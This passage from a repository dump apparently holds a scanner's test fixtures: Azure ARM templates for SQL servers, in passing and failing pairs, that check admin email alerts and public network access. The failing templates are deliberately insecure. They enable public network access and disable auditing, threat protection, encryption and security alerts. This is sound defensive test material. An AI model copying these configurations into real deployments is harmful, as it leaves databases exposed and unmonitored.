\"current\",\n              \"type\": \"transparentDataEncryption\",\n              \"apiVersion\": \"2014-04-01-preview\",\n              \"properties\": {\n                \"status\": \"[parameters('transparentDataEncryption')]\"\n              },\n              \"dependsOn\": [\n                \"[variables('databaseName')]\"\n              ]\n            }\n          ]\n        },\n        {\n          \"name\": \"AllowAllMicrosoftAzureIps\",\n          \"type\": \"firewallrules\",\n          \"apiVersion\": \"2015-05-01-preview\",\n          \"location\": \"[parameters('location')]\",\n          \"properties\": {\n            \"endIpAddress\": \"0.0.0.0\",\n            \"startIpAddress\": \"0.0.0.0\"\n          },\n          \"dependsOn\": [\n            \"[variables('sqlServerName')]\"\n          ]\n        }\n      ]\n    }\n  ],\n  \"outputs\": {\n    \"sqlServerFqdn\": {\n      \"type\": \"string\",\n      \"value\": \"[reference(concat('Microsoft.Sql/servers/', variables('sqlServerName'))).fullyQualifiedDomainName]\"\n    },\n    \"databaseName\": {\n      \"type\": \"string\",\n      \"value\": \"[variables('databaseName')]\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_SQLServerEmailAlertsEnabled/sqlServerEmailAlertsEnabled-FAILED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"serverName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[concat('server-', uniqueString(resourceGroup().id, deployment().name))]\",\n      \"metadata\": {\n        \"description\": \"Name for the SQL server\"\n      }\n    },\n    \"databaseNames\": {\n      \"type\": \"array\",\n      \"defaultValue\": [\n        \"[concat('db-', uniqueString(resourceGroup().id, deployment().name), '-1')]\",\n        \"[concat('db-', uniqueString(resourceGroup().id, deployment().name), '-2')]\"\n      ],\n      \"metadata\": {\n        \"description\": \"Array of names for the SQL databases\"\n      }\n    },\n    \"emailAddresses\": {\n      \"type\": \"array\",\n      \"defaultValue\": [\n        \"user1@example.com\",\n        \"user2@example.com\"\n      ],\n      \"metadata\": {\n        \"description\": \"Array of email addresses for receiving alerts, each corresponding to its appropriate database (by index in the array)\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for server and DBs\"\n      }\n    },\n    \"adminUser\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Username for admin\"\n      }\n    },\n    \"adminPassword\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"Password for admin\"\n      }\n    }\n  },\n  \"variables\": {\n    \"databaseServerName\": \"[toLower(parameters('serverName'))]\",\n    \"databaseNames\": \"[parameters('databaseNames')]\",\n    \"databaseServerLocation\": \"[parameters('location')]\",\n    \"databaseServerAdminLogin\": \"[parameters('adminUser')]\",\n    \"databaseServerAdminLoginPassword\": \"[parameters('adminPassword')]\",\n    \"emailAddresses\": \"[parameters('emailAddresses')]\"\n  },\n  \"resources\": [{\n    \"type\": \"Microsoft.Sql/servers\",\n    \"apiVersion\": \"2015-05-01-preview\",\n    \"location\": \"[variables('databaseServerLocation')]\",\n    \"name\": \"[variables('databaseServerName')]\",\n    \"properties\": {\n      \"administratorLogin\": \"[variables('databaseServerAdminLogin')]\",\n      \"administratorLoginPassword\": \"[variables('databaseServerAdminLoginPassword')]\",\n      \"version\": \"12.0\"\n    },\n    \"tags\": {\n      \"DisplayName\": \"[variables('databaseServerName')]\"\n    }\n  },\n    {\n      \"apiVersion\": \"2017-10-01-preview\",\n      \"type\": \"Microsoft.Sql/servers/databases\",\n      \"sku\": {\n        \"name\": \"S0\",\n        \"tier\": \"Standard\"\n      },\n      \"kind\": \"v12.0,user\",\n      \"location\": \"[variables('databaseServerLocation')]\",\n      \"name\": \"[concat(string(variables('databaseServerName')), '/', string(variables('databaseNames')[copyIndex()]))]\",\n      \"dependsOn\": [\"[concat('Microsoft.Sql/servers/', variables('databaseServerName'))]\"],\n      \"tags\": {\n        \"DisplayName\": \"[variables('databaseServerName')]\"\n      },\n      \"copy\": {\n        \"name\": \"databaseCopy\",\n        \"count\": \"[length(variables('databaseNames'))]\"\n      },\n      \"properties\": {},\n      \"resources\": [{\n        \"apiVersion\": \"2014-04-01\",\n        \"type\": \"securityAlertPolicies\",\n        \"name\": \"default\",\n        \"dependsOn\": [\"[concat('Microsoft.Sql/servers/', variables('databaseServerName'), '/databases/', variables('databaseNames')[copyIndex()])]\"],\n        \"properties\": {\n          \"state\": \"Enabled\"\n        }\n      }]\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_SQLServerEmailAlertsEnabled/sqlServerEmailAlertsEnabled-PASSED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"serverName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[concat('server-', uniqueString(resourceGroup().id, deployment().name))]\",\n      \"metadata\": {\n        \"description\": \"Name for the SQL server\"\n      }\n    },\n    \"databaseNames\": {\n      \"type\": \"array\",\n      \"defaultValue\": [\n        \"[concat('db-', uniqueString(resourceGroup().id, deployment().name), '-1')]\",\n        \"[concat('db-', uniqueString(resourceGroup().id, deployment().name), '-2')]\"\n      ],\n      \"metadata\": {\n        \"description\": \"Array of names for the SQL databases\"\n      }\n    },\n    \"emailAddresses\": {\n      \"type\": \"array\",\n      \"defaultValue\": [\n        \"user1@example.com\",\n        \"user2@example.com\"\n      ],\n      \"metadata\": {\n        \"description\": \"Array of email addresses for receiving alerts, each corresponding to its appropriate database (by index in the array)\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for server and DBs\"\n      }\n    },\n    \"adminUser\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Username for admin\"\n      }\n    },\n    \"adminPassword\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"Password for admin\"\n      }\n    }\n  },\n  \"variables\": {\n    \"databaseServerName\": \"[toLower(parameters('serverName'))]\",\n    \"databaseNames\": \"[parameters('databaseNames')]\",\n    \"databaseServerLocation\": \"[parameters('location')]\",\n    \"databaseServerAdminLogin\": \"[parameters('adminUser')]\",\n    \"databaseServerAdminLoginPassword\": \"[parameters('adminPassword')]\",\n    \"emailAddresses\": \"[parameters('emailAddresses')]\"\n  },\n  \"resources\": [{\n    \"type\": \"Microsoft.Sql/servers\",\n    \"apiVersion\": \"2015-05-01-preview\",\n    \"location\": \"[variables('databaseServerLocation')]\",\n    \"name\": \"[variables('databaseServerName')]\",\n    \"properties\": {\n      \"administratorLogin\": \"[variables('databaseServerAdminLogin')]\",\n      \"administratorLoginPassword\": \"[variables('databaseServerAdminLoginPassword')]\",\n      \"version\": \"12.0\"\n    },\n    \"tags\": {\n      \"DisplayName\": \"[variables('databaseServerName')]\"\n    }\n  },\n    {\n      \"apiVersion\": \"2017-10-01-preview\",\n      \"type\": \"Microsoft.Sql/servers/databases\",\n      \"sku\": {\n        \"name\": \"S0\",\n        \"tier\": \"Standard\"\n      },\n      \"kind\": \"v12.0,user\",\n      \"location\": \"[variables('databaseServerLocation')]\",\n      \"name\": \"[concat(string(variables('databaseServerName')), '/', string(variables('databaseNames')[copyIndex()]))]\",\n      \"dependsOn\": [\"[concat('Microsoft.Sql/servers/', variables('databaseServerName'))]\"],\n      \"tags\": {\n        \"DisplayName\": \"[variables('databaseServerName')]\"\n      },\n      \"copy\": {\n        \"name\": \"databaseCopy\",\n        \"count\": \"[length(variables('databaseNames'))]\"\n      },\n      \"properties\": {},\n      \"resources\": [{\n        \"apiVersion\": \"2014-04-01\",\n        \"type\": \"securityAlertPolicies\",\n        \"name\": \"default\",\n        \"dependsOn\": [\"[concat('Microsoft.Sql/servers/', variables('databaseServerName'), '/databases/', variables('databaseNames')[copyIndex()])]\"],\n        \"properties\": {\n          \"state\": \"Enabled\",\n          \"emailAddresses\": \"[variables('emailAddresses')[copyIndex()]]\",\n          \"emailAccountAdmins\": \"Enabled\"\n        }\n      }]\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_SQLServerEmailAlertsToAdminsEnabled/sqlServerEmailAlertsToAdminsEnabled-FAILED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"serverName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[concat('server-', uniqueString(resourceGroup().id, deployment().name))]\",\n      \"metadata\": {\n        \"description\": \"Name for the SQL server\"\n      }\n    },\n    \"databaseNames\": {\n      \"type\": \"array\",\n      \"defaultValue\": [\n        \"[concat('db-', uniqueString(resourceGroup().id, deployment().name), '-1')]\",\n        \"[concat('db-', uniqueString(resourceGroup().id, deployment().name), '-2')]\"\n      ],\n      \"metadata\": {\n        \"description\": \"Array of names for the SQL databases\"\n      }\n    },\n    \"emailAddresses\": {\n      \"type\": \"array\",\n      \"defaultValue\": [\n        \"user1@example.com\",\n        \"user2@example.com\"\n      ],\n      \"metadata\": {\n        \"description\": \"Array of email addresses for receiving alerts, each corresponding to its appropriate database (by index in the array)\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for server and DBs\"\n      }\n    },\n    \"adminUser\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Username for admin\"\n      }\n    },\n    \"adminPassword\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"Password for admin\"\n      }\n    }\n  },\n  \"variables\": {\n    \"databaseServerName\": \"[toLower(parameters('serverName'))]\",\n    \"databaseNames\": \"[parameters('databaseNames')]\",\n    \"databaseServerLocation\": \"[parameters('location')]\",\n    \"databaseServerAdminLogin\": \"[parameters('adminUser')]\",\n    \"databaseServerAdminLoginPassword\": \"[parameters('adminPassword')]\",\n    \"emailAddresses\": \"[parameters('emailAddresses')]\"\n  },\n  \"resources\": [{\n    \"type\": \"Microsoft.Sql/servers\",\n    \"apiVersion\": \"2015-05-01-preview\",\n    \"location\": \"[variables('databaseServerLocation')]\",\n    \"name\": \"[variables('databaseServerName')]\",\n    \"properties\": {\n      \"administratorLogin\": \"[variables('databaseServerAdminLogin')]\",\n      \"administratorLoginPassword\": \"[variables('databaseServerAdminLoginPassword')]\",\n      \"version\": \"12.0\"\n    },\n    \"tags\": {\n      \"DisplayName\": \"[variables('databaseServerName')]\"\n    }\n  },\n    {\n      \"apiVersion\": \"2017-10-01-preview\",\n      \"type\": \"Microsoft.Sql/servers/databases\",\n      \"sku\": {\n        \"name\": \"S0\",\n        \"tier\": \"Standard\"\n      },\n      \"kind\": \"v12.0,user\",\n      \"location\": \"[variables('databaseServerLocation')]\",\n      \"name\": \"[concat(string(variables('databaseServerName')), '/', string(variables('databaseNames')[copyIndex()]))]\",\n      \"dependsOn\": [\"[concat('Microsoft.Sql/servers/', variables('databaseServerName'))]\"],\n      \"tags\": {\n        \"DisplayName\": \"[variables('databaseServerName')]\"\n      },\n      \"copy\": {\n        \"name\": \"databaseCopy\",\n        \"count\": \"[length(variables('databaseNames'))]\"\n      },\n      \"properties\": {},\n      \"resources\": [{\n        \"apiVersion\": \"2014-04-01\",\n        \"type\": \"securityAlertPolicies\",\n        \"name\": \"default\",\n        \"dependsOn\": [\"[concat('Microsoft.Sql/servers/', variables('databaseServerName'), '/databases/', variables('databaseNames')[copyIndex()])]\"],\n        \"properties\": {\n          \"state\": \"Enabled\"\n        }\n      }]\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_SQLServerEmailAlertsToAdminsEnabled/sqlServerEmailAlertsToAdminsEnabled-PASSED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"serverName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[concat('server-', uniqueString(resourceGroup().id, deployment().name))]\",\n      \"metadata\": {\n        \"description\": \"Name for the SQL server\"\n      }\n    },\n    \"databaseNames\": {\n      \"type\": \"array\",\n      \"defaultValue\": [\n        \"[concat('db-', uniqueString(resourceGroup().id, deployment().name), '-1')]\",\n        \"[concat('db-', uniqueString(resourceGroup().id, deployment().name), '-2')]\"\n      ],\n      \"metadata\": {\n        \"description\": \"Array of names for the SQL databases\"\n      }\n    },\n    \"emailAddresses\": {\n      \"type\": \"array\",\n      \"defaultValue\": [\n        \"user1@example.com\",\n        \"user2@example.com\"\n      ],\n      \"metadata\": {\n        \"description\": \"Array of email addresses for receiving alerts, each corresponding to its appropriate database (by index in the array)\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for server and DBs\"\n      }\n    },\n    \"adminUser\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Username for admin\"\n      }\n    },\n    \"adminPassword\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"Password for admin\"\n      }\n    }\n  },\n  \"variables\": {\n    \"databaseServerName\": \"[toLower(parameters('serverName'))]\",\n    \"databaseNames\": \"[parameters('databaseNames')]\",\n    \"databaseServerLocation\": \"[parameters('location')]\",\n    \"databaseServerAdminLogin\": \"[parameters('adminUser')]\",\n    \"databaseServerAdminLoginPassword\": \"[parameters('adminPassword')]\",\n    \"emailAddresses\": \"[parameters('emailAddresses')]\"\n  },\n  \"resources\": [{\n    \"type\": \"Microsoft.Sql/servers\",\n    \"apiVersion\": \"2015-05-01-preview\",\n    \"location\": \"[variables('databaseServerLocation')]\",\n    \"name\": \"[variables('databaseServerName')]\",\n    \"properties\": {\n      \"administratorLogin\": \"[variables('databaseServerAdminLogin')]\",\n      \"administratorLoginPassword\": \"[variables('databaseServerAdminLoginPassword')]\",\n      \"version\": \"12.0\"\n    },\n    \"tags\": {\n      \"DisplayName\": \"[variables('databaseServerName')]\"\n    }\n  },\n    {\n      \"apiVersion\": \"2017-10-01-preview\",\n      \"type\": \"Microsoft.Sql/servers/databases\",\n      \"sku\": {\n        \"name\": \"S0\",\n        \"tier\": \"Standard\"\n      },\n      \"kind\": \"v12.0,user\",\n      \"location\": \"[variables('databaseServerLocation')]\",\n      \"name\": \"[concat(string(variables('databaseServerName')), '/', string(variables('databaseNames')[copyIndex()]))]\",\n      \"dependsOn\": [\"[concat('Microsoft.Sql/servers/', variables('databaseServerName'))]\"],\n      \"tags\": {\n        \"DisplayName\": \"[variables('databaseServerName')]\"\n      },\n      \"copy\": {\n        \"name\": \"databaseCopy\",\n        \"count\": \"[length(variables('databaseNames'))]\"\n      },\n      \"properties\": {},\n      \"resources\": [{\n        \"apiVersion\": \"2014-04-01\",\n        \"type\": \"securityAlertPolicies\",\n        \"name\": \"default\",\n        \"dependsOn\": [\"[concat('Microsoft.Sql/servers/', variables('databaseServerName'), '/databases/', variables('databaseNames')[copyIndex()])]\"],\n        \"properties\": {\n          \"state\": \"Enabled\",\n          \"emailAddresses\": \"[variables('emailAddresses')[copyIndex()]]\",\n          \"emailAccountAdmins\": true\n        }\n      }]\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_SQLServerHasPublicAccessDisabled/fail.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"vulnerabilityAssessments_Default_storageContainerPath\": {\n            \"type\": \"SecureString\"\n        },\n        \"servers_exampleamssqlserver_name\": {\n            \"defaultValue\": \"exampleamssqlserver\",\n            \"type\": \"String\"\n        }\n    },\n    \"variables\": {},\n    \"resources\": [\n        {\n            \"type\": \"Microsoft.Sql/servers\",\n            \"apiVersion\": \"2022-11-01-preview\",\n            \"name\": \"fail\",\n            \"location\": \"westus\",\n            \"tags\": {\n                \"createdby\": \"terraform\",\n                \"module\": \"terraform-azurerm-mssqlserver\"\n            },\n            \"kind\": \"v12.0\",\n            \"identity\": {\n                \"type\": \"SystemAssigned\"\n            },\n            \"properties\": {\n                \"administratorLogin\": \"supaman\",\n                \"version\": \"12.0\",\n                \"minimalTlsVersion\": \"1.2\",\n                \"publicNetworkAccess\": \"Enabled\",\n                \"restrictOutboundNetworkAccess\": \"Disabled\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/advancedThreatProtectionSettings\",\n            \"apiVersion\": \"2022-11-01-preview\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/Default')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"state\": \"Disabled\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/advisors\",\n            \"apiVersion\": \"2014-04-01\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/CreateIndex')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"autoExecuteValue\": \"Disabled\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/advisors\",\n            \"apiVersion\": \"2014-04-01\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/DbParameterization')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"autoExecuteValue\": \"Disabled\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/advisors\",\n            \"apiVersion\": \"2014-04-01\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/DefragmentIndex')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"autoExecuteValue\": \"Disabled\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/advisors\",\n            \"apiVersion\": \"2014-04-01\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/DropIndex')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"autoExecuteValue\": \"Disabled\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/advisors\",\n            \"apiVersion\": \"2014-04-01\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/ForceLastGoodPlan')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"autoExecuteValue\": \"Enabled\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/auditingPolicies\",\n            \"apiVersion\": \"2014-04-01\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/Default')]\",\n            \"location\": \"West US\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"auditingState\": \"Disabled\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/auditingSettings\",\n            \"apiVersion\": \"2022-11-01-preview\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/Default')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"retentionDays\": 0,\n                \"auditActionsAndGroups\": [],\n                \"isStorageSecondaryKeyInUse\": false,\n                \"isAzureMonitorTargetEnabled\": false,\n                \"isManagedIdentityInUse\": false,\n                \"state\": \"Disabled\",\n                \"storageAccountSubscriptionId\": \"00000000-0000-0000-0000-000000000000\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/connectionPolicies\",\n            \"apiVersion\": \"2022-11-01-preview\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/default')]\",\n            \"location\": \"westus\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"connectionType\": \"Default\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/databases\",\n            \"apiVersion\": \"2022-11-01-preview\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase')]\",\n            \"location\": \"westus\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"sku\": {\n                \"name\": \"GP_Gen5\",\n                \"tier\": \"GeneralPurpose\",\n                \"family\": \"Gen5\",\n                \"capacity\": 2\n            },\n            \"kind\": \"v12.0,user,vcore\",\n            \"properties\": {\n                \"collation\": \"SQL_Latin1_General_CP1_CI_AS\",\n                \"maxSizeBytes\": 34359738368,\n                \"catalogCollation\": \"SQL_Latin1_General_CP1_CI_AS\",\n                \"zoneRedundant\": false,\n                \"licenseType\": \"LicenseIncluded\",\n                \"readScale\": \"Disabled\",\n                \"requestedBackupStorageRedundancy\": \"Geo\",\n                \"maintenanceConfigurationId\": \"/subscriptions/037ce662-dfc1-4b8b-a8a7-6c414b540ed6/providers/Microsoft.Maintenance/publicMaintenanceConfigurations/SQL_Default\",\n                \"isLedgerOn\": false,\n                \"availabilityZone\": \"NoPreference\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/databases/advancedThreatProtectionSettings\",\n            \"apiVersion\": \"2022-11-01-preview\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/master/Default')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"state\": \"Disabled\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/databases/auditingPolicies\",\n            \"apiVersion\": \"2014-04-01\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/master/Default')]\",\n            \"location\": \"West US\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"auditingState\": \"Disabled\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/databases/auditingSettings\",\n            \"apiVersion\": \"2022-11-01-preview\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/master/Default')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"retentionDays\": 0,\n                \"isAzureMonitorTargetEnabled\": false,\n                \"state\": \"Disabled\",\n                \"storageAccountSubscriptionId\": \"00000000-0000-0000-0000-000000000000\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/databases/extendedAuditingSettings\",\n            \"apiVersion\": \"2022-11-01-preview\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/master/Default')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"retentionDays\": 0,\n                \"isAzureMonitorTargetEnabled\": false,\n                \"state\": \"Disabled\",\n                \"storageAccountSubscriptionId\": \"00000000-0000-0000-0000-000000000000\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/databases/geoBackupPolicies\",\n            \"apiVersion\": \"2022-11-01-preview\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/master/Default')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"state\": \"Disabled\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/databases/ledgerDigestUploads\",\n            \"apiVersion\": \"2022-11-01-preview\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/master/Current')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {}\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/databases/securityAlertPolicies\",\n            \"apiVersion\": \"2022-11-01-preview\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/master/Default')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"state\": \"Disabled\",\n                \"disabledAlerts\": [\n                    \"\"\n                ],\n                \"emailAddresses\": [\n                    \"\"\n                ],\n                \"emailAccountAdmins\": false,\n                \"retentionDays\": 0\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/databases/transparentDataEncryption\",\n            \"apiVersion\": \"2022-11-01-preview\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/master/Current')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"state\": \"Disabled\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/databases/vulnerabilityAssessments\",\n            \"apiVersion\": \"2022-11-01-preview\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/master/Default')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"recurringScans\": {\n                    \"isEnabled\": false,\n                    \"emailSubscriptionAdmins\": true\n                }\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/devOpsAuditingSettings\",\n            \"apiVersion\": \"2022-11-01-preview\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/Default')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"isAzureMonitorTargetEnabled\": false,\n                \"isManagedIdentityInUse\": false,\n                \"state\": \"Disabled\",\n                \"storageAccountSubscriptionId\": \"00000000-0000-0000-0000-000000000000\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/encryptionProtector\",\n            \"apiVersion\": \"2022-11-01-preview\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/current')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"kind\": \"servicemanaged\",\n            \"properties\": {\n                \"serverKeyName\": \"ServiceManaged\",\n                \"serverKeyType\": \"ServiceManaged\",\n                \"autoRotationEnabled\": false\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/extendedAuditingSettings\",\n            \"apiVersion\": \"2022-11-01-preview\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/Default')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"retentionDays\": 0,\n                \"auditActionsAndGroups\": [],\n                \"isStorageSecondaryKeyInUse\": false,\n                \"isAzureMonitorTargetEnabled\": false,\n                \"isManagedIdentityInUse\": false,\n                \"state\": \"Disabled\",\n                \"storageAccountSubscriptionId\": \"00000000-0000-0000-0000-000000000000\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/keys\",\n            \"apiVersion\": \"2022-11-01-preview\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/ServiceManaged')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"kind\": \"servicemanaged\",\n            \"properties\": {\n                \"serverKeyType\": \"ServiceManaged\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/securityAlertPolicies\",\n            \"apiVersion\": \"2022-11-01-preview\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/Default')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"state\": \"Disabled\",\n                \"disabledAlerts\": [\n                    \"\"\n                ],\n                \"emailAddresses\": [\n                    \"\"\n                ],\n                \"emailAccountAdmins\": false,\n                \"retentionDays\": 0\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/sqlVulnerabilityAssessments\",\n            \"apiVersion\": \"2022-11-01-preview\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/Default')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"state\": \"Disabled\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/vulnerabilityAssessments\",\n            \"apiVersion\": \"2022-11-01-preview\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/Default')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                